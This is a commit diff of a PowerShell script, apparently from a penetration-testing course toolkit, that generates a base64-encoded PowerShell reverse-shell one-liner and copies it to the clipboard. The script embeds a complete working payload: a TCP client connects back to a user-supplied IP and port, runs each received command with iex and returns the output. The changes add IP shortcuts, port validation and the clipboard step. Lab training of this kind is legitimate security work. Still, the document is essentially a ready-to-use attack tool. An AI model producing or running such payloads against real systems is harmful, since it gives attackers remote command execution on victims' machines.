Improve base64 PowerShell script

bin/base64convert.ps1

@@ -1,10 +1,24 @@
 #!/usr/bin/env pwsh
 
+# This script generates a base64 encoded powershell reverse shell one-liner
+# and copies it to the clipboard
+
 # Cf. PEN-200, 9.3.1, Listing 32 - Encoding the oneliner in PowerShell on Linux
 # https://portal.offsec.com/courses/pen-200/books-and-videos/modal/modules/common-web-application-attacks/file-upload-vulnerabilities/using-executable-files
 
 # Prompt for IP Address
-$ipAddress = Read-Host -Prompt "Enter the IP address"
+Write-Host "Enter the IP address."
+Write-Host "If you enter only the last two octets, `192.168` will be prepended by default."
+$ipAddress = Read-Host
+# $ipAddress = Read-Host -Prompt "Enter the IP address."
+
+# Check if the input is only the last two octets and prepend "192.168" if true
+$octets = $ipAddress -split '\.'
+if ($octets.Count -eq 2) {
+    $ipAddress = "192.168." + $ipAddress
+}
+
+Write-Host "Your IP address is $ipAddress"
 
 # Validate the IP Address
 if (-not [System.Net.IPAddress]::TryParse($ipAddress, [ref]$null)) {
@@ -16,19 +30,22 @@ if (-not [System.Net.IPAddress]::TryParse($ipAddress, [ref]$null)) {
 $portNumber = Read-Host -Prompt "Enter the port number"
 
 # Validate the Port Number
-if ($portNumber -notmatch '^\d+$' -or $portNumber -lt 0 -or $portNumber -gt 65535) {
+if ($portNumber -notmatch '^\d+$' -or [int]$portNumber -lt 0 -or [int]$portNumber -gt 65535) {
     Write-Host "Invalid port number. Please enter a port number between 0 and 65535."
     exit
 }
 
 # Construct the $Text string with variable expansion
+# Cf. https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3
 $Text = "`$client = New-Object System.Net.Sockets.TCPClient('$ipAddress',$portNumber);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..65535|%{0};while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){;`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);`$sendback = (iex `$data 2>&1 | Out-String );`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()"
 
 $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
 
 $EncodedText =[Convert]::ToBase64String($Bytes)
 
-## $EncodedText
-
 # Output the constructed string (for verification or debugging)
+Write-Host "Encoded string is: "
 Write-Host $EncodedText
+
+Write-Host "String copied to clipboard"
+Invoke-Expression "echo -n '$EncodedText' | tr -d '\n' | pbcopy"